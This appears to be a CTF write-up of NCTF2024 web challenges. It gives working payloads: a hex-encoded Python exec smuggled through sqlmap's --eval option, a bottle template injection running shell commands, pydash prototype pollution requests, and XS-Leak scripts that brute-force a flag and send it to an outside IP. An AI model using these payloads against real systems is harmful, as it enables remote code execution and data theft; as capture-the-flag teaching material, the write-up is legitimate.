NCTF2024 web wp

sqlmap-master

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from fastapi import FastAPI, Request
from fastapi.responses import FileResponse, StreamingResponse
import subprocess

app = FastAPI()

@app.get("/")
async def index():
return FileResponse("index.html")

@app.post("/run")
async def run(request: Request):
data = await request.json()
url = data.get("url")

if not url:
return {"error": "URL is required"}

command = f'sqlmap -u {url} --batch --flush-session'

def generate():
process = subprocess.Popen(
command.split(),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
shell=False
)

while True:
output = process.stdout.readline()
if output == '' and process.poll() is not None:
break
if output:
yield output

return StreamingResponse(generate(), media_type="text/plain")

一个sqlmap的利用器,随便输个url发现版本是最新版本1.9.3。

第一眼我想到的是通过|或者&或者;来进行rce,但是发现shell=False,因此这种就不行啦。

既然是最新版本,我们本地下一个看看help

发现一个eval参数,执行提供的python代码并在请求之前执行,拿下了。

由于他有command.split(),我们用十六进制来绕过一下。

1
2
import os; print(os.system('env'))
696d706f7274206f733b207072696e74286f732e73797374656d2827656e76272929
1
123 --eval=exec(bytes.fromhex('696d706f7274206f733b207072696e74286f732e73797374656d2827656e76272929'))
1
nctf{e93d1ded-9f2a-4c79-8138-8564b43ca847}

ez_dash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
'''
Hints: Flag在环境变量中
'''


from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","func","render",
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True

@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
return "Hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

一道bottle框架的python题,考点是python原型链污染+ssti

第一眼的思路就是先通过原型链污染污染模板标识符,然后直接ssti,但是此处它存在len(path)>32,且name不能为bottle

最初想法:

1
2
3
4
5
6
7
8
9
POST /setValue?name=bottle HTTP/1.1

{
"path": "BaseTemplate.settings",
"value": {
"template_open": "<<",
"template_close": ">>"
}
}

但是上述这个不行,既然bottle不能用看,那想想globals里面又有什么可以用的,还不能有下划线,后来又想到了setvel这个函数。

1
2
3
4
5
6
7
8
9
POST /setValue?name=setval HTTP/1.1

{
"path": "__globals__['bottle'].BaseTemplate.settings",
"value": {
"template_open": "<<",
"template_close": ">>"
}
}

但是此处,path的长度又超标了。

然后当我阅读官方文档的时候,发现了一种奇特的模板渲染

好像不止{{}}可以渲染模板??<%%>%好像也可以??

1
if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:

同时我们发现此处的ssti没有长度限制等,只限制了这三个,那么机会来了。

尝试构造payload,读取环境变量。

1
<%%20from%20bottle%20import%20abort%0a%20from%20subprocess%20import%20getoutput%0a%20a=getoutput('env')%0a%20abort(404,a)%>

通过abort报错弹出a变量的值。

getoutput 是 Python 的 subprocess 模块中的一个函数,用于执行命令并返回其输出。它是对 os.popen 的封装,使用起来更加简洁。如果你需要绕过点号(.)的限制来执行命令并获取输出,getoutput 是一个非常好的选择。

ez_dash_revenge

修复ez_dash非预期

上面确实是非预期了,毕竟原型链污染都没有用到。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
'''
Hints: Flag在环境变量中
'''


from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","render"
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True

@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}",".","%","<",">","_"]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

原本我们的想法是这样的:

1
2
3
4
5
6
7
8
9
POST /setValue?name=setval HTTP/1.1

{
"path": "__globals__['bottle'].BaseTemplate.settings",
"value": {
"template_open": "<<",
"template_close": ">>"
}
}

但是现在ssti处<<>>也被ban了。那么污染的肯定就不是BaseTemplate.settings了。

我们看看官方文档,找不到什么东西了,看看源码好了

发现几个属性,问问ai

可以设置模板文件的搜索路径?!有点类似于python原型链污染Flask中的_static_url_path,改变静态文件路径。

那么如果将TEMPLATE_PATH污染成/proc/self/,那么访问/render路由时,bottle会在/proc/self/种查找path进行渲染?!

1
2
3
4
5
6
7
8
9
10
11
12
POST /setValue?name=setval HTTP/1.1
Host: 39.106.16.204:16613
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 5

{"path":"__globals__.bottle.TEMPLATE_PATH","value":['./', './views/','/proc/self/']}

但是这里回显no,看一下源码,发现长度限制都是成功绕过的,唯一的可能就是setval的时候没有污染成功,这又是为什么呢??

这里问了很久的ai

然后我们在pydash的helpers中发现了!

那么我们也要讲pydash helpers中的RESTRICTED_KEYS污染掉,污染成什么都可以。

1
2
3
4
5
6
7
8
9
10
11
12
POST /setValue?name=pydash HTTP/1.1
Host: 39.106.16.204:16613
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 5

{"path":"helpers.RESTRICTED_KEYS","value":"MeteorKai"}

接下来依次发包!

1
NCTF{b67eecfa-d24d-4061-8dd1-4bdfa7a2f938}

internal_api

rust语言的。

先看看源码,main.rs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
use std::{env, net::SocketAddr, sync::Arc};

use axum::{
Router,
routing::{get, post},
};
use internal_api::{db, route};
use tokio::net::TcpListener;

#[tokio::main]
async fn main() -> anyhow::Result<()> {
let db_name = env::var("DB_NAME")?;
let json_name = env::var("JSON_NAME")?;
let flag = env::var("FLAG")?;

let pool = db::init(db_name, json_name, flag)?;
let app = Router::new()
.route("/", get(route::index))
.route("/report", post(route::report))
.route("/search", get(route::public_search))
.route("/internal/search", get(route::private_search))
.with_state(Arc::new(pool));

let addr = format!("{}:{}", env::var("HOST")?, env::var("PORT")?);
let listener = TcpListener::bind(addr).await?;
axum::serve(
listener,
app.into_make_service_with_connect_info::<SocketAddr>(),
)
.await?;

Ok(())
}

router.rs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
use std::{net::SocketAddr, sync::Arc};

use anyhow::anyhow;
use axum::{
Form, Json,
extract::{ConnectInfo, Query, State},
response::Html,
};
use serde_json::{Value, json};
use tokio::task;

use crate::{
bot,
db::{self, DbPool},
error::AppError,
model::{Report, Search},
};

pub async fn index() -> Html<String> {
let content = include_str!("../public/index.html");
Html(content.to_string())
}

pub async fn report(Form(report): Form<Report>) -> Json<Value> {
task::spawn(async move { bot::visit_url(report.url).await.unwrap() });

Json(json!({
"message": "bot will visit the url soon"
}))
}

pub async fn public_search(
Query(search): Query<Search>,
State(pool): State<Arc<DbPool>>,
) -> Result<Json<Vec<String>>, AppError> {
let pool = pool.clone();
let conn = pool.get()?;
let comments = db::search(conn, search.s, false)?;

if comments.len() > 0 {
Ok(Json(comments))
} else {
Err(anyhow!("No comments found").into())
}
}

pub async fn private_search(
Query(search): Query<Search>,
State(pool): State<Arc<DbPool>>,
ConnectInfo(addr): ConnectInfo<SocketAddr>,
) -> Result<Json<Vec<String>>, AppError> {
// 以下两个 if 与题目无关, 你只需要知道: private_search 路由仅有 bot 才能访问

// 本地环境 (docker compose)
let bot_ip = tokio::net::lookup_host("bot:4444").await?.next().unwrap();
if addr.ip() != bot_ip.ip() {
return Err(anyhow!("only bot can access").into());
}

// 远程环境 (k8s)
// if !addr.ip().is_loopback() {
// return Err(anyhow!("only bot can access").into());
// }

let conn = pool.get()?;
let comments = db::search(conn, search.s, true)?;

if comments.len() > 0 {
Ok(Json(comments))
} else {
Err(anyhow!("No comments found").into())
}
}

/internal/searchprivate_search,只允许bot访问。且此处的db::search的第三个参数为true,代表了允许搜索flag。

db.rs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
use std::{fs, path::Path};

use r2d2::{Pool, PooledConnection};
use r2d2_sqlite::SqliteConnectionManager;
use rusqlite::params;

pub type DbPool = Pool<SqliteConnectionManager>;
pub type DbConn = PooledConnection<SqliteConnectionManager>;

pub fn init(db_name: String, json_name: String, flag: String) -> anyhow::Result<DbPool> {
if Path::new(&db_name).exists() {
fs::remove_file(&db_name)?;
}

let manager = SqliteConnectionManager::file(db_name);
let pool = Pool::new(manager)?;

let content = fs::read_to_string(json_name)?;
let comments: Vec<String> = serde_json::from_str(&content)?;

let conn = pool.get()?;
conn.execute(
"CREATE TABLE comments(content TEXT, hidden BOOLEAN)",
params![],
)?;

for comment in comments {
conn.execute(
"INSERT INTO comments(content, hidden) VALUES(?, ?)",
params![comment, false],
)?;
}

conn.execute(
"INSERT INTO comments(content, hidden) VALUES(?, ?)",
params![flag, true],
)?;

Ok(pool)
}

pub fn search(conn: DbConn, query: String, hidden: bool) -> anyhow::Result<Vec<String>> {
let mut stmt =
conn.prepare("SELECT content FROM comments WHERE content LIKE ? AND hidden = ?")?;
let comments = stmt
.query_map(params![format!("%{}%", query), hidden], |row| {
Ok(row.get(0)?)
})?
.collect::<rusqlite::Result<Vec<String>>>()?;

Ok(comments)
}

那么我们目前的思路就是让bot去访问/internal/search来获取flag。

1
2
3
4
5
6
7
8
let conn = pool.get()?;
let comments = db::search(conn, search.s, true)?;

if comments.len() > 0 {
Ok(Json(comments))
} else {
Err(anyhow!("No comments found").into())
}

如果能搜索到comments,那么就返回200,否则返回Err错误。他并没有回显,只是返回一种状态。

这道题的重点其实就在于此!XS-Leaks有一种基于错误的攻击。https://blog.csdn.net/allway2/article/details/126703565

且我们看到这里的db::search实现的是一种模糊查询,可以使用这种方法!

我们用基本的poc试试:此时是需要用到csrf的,在/report路由中给让bot去访问我们构造的恶意html,再以bot的身份去进行相关行为。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Error-Based Attack</title>
</head>
<body>
<script>
function checkError(url) {
let script = document.createElement('script')
script.src = url
script.onload = () => window.open("http://8.130.172.38:8000/1");
script.onerror = () => window.open("http://8.130.172.38:8000/2");
document.head.appendChild(script)
}

checkError('http://0.0.0.0:8000/internal/search?s=flag{')
checkError('http://0.0.0.0:8000/internal/search?s=somethingwrong')
checkError('http://0.0.0.0:8000/internal/search?s=nctf{')
</script>
</body>
</html>

最终:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script>
function probeError(flag) {
let url = 'http://127.0.0.1:8000/internal/search?s=' + flag;
let script = document.createElement('script');
script.src = url;
script.onload = () => {
fetch('http://8.130.172.38:8000/?flag=' + flag, { mode:'no-cors' });
leak(flag);
script.remove();
};
script.onerror = () => script.remove();
document.head.appendChild(script);
}

let dicts = 'abcdefghijklmnopqrstuvwxyz0123456789-{}';
function leak(flag) {
for (let i = 0; i < dicts.length; i++) {
let char = dicts[i];
probeError(flag + char);
}
}
leak('');
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Error-Based Attack</title>
</head>

<body>
<script>
let currentFlag = "";
const chars = "abcdefghijklmnopqrstuvwxyz0123456789-{}";

function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

function checkCharacter(char) {
return new Promise((resolve) => {
let script = document.createElement('script');
script.src = `http://0.0.0.0:8000/internal/search?s=${currentFlag}${char}`;

script.onload = () => {
document.head.removeChild(script);
resolve(true);
};

script.onerror = () => {
document.head.removeChild(script);
resolve(false);
};

document.head.appendChild(script);
});
}

async function bruteforce() {
try {
while (!currentFlag.endsWith('}')) {
for (let char of chars) {
const isCorrect = await checkCharacter(char);
if (isCorrect) {
currentFlag += char;
window.open(`http://8.130.172.38:8000/?flag=${currentFlag}`);
await sleep(50);
break;
}
await sleep(50);
}
}
} catch (error) {
window.open(`http://8.130.172.38:8000/?error=${currentFlag}`);
}
}

bruteforce();
</script>
</body>

</html>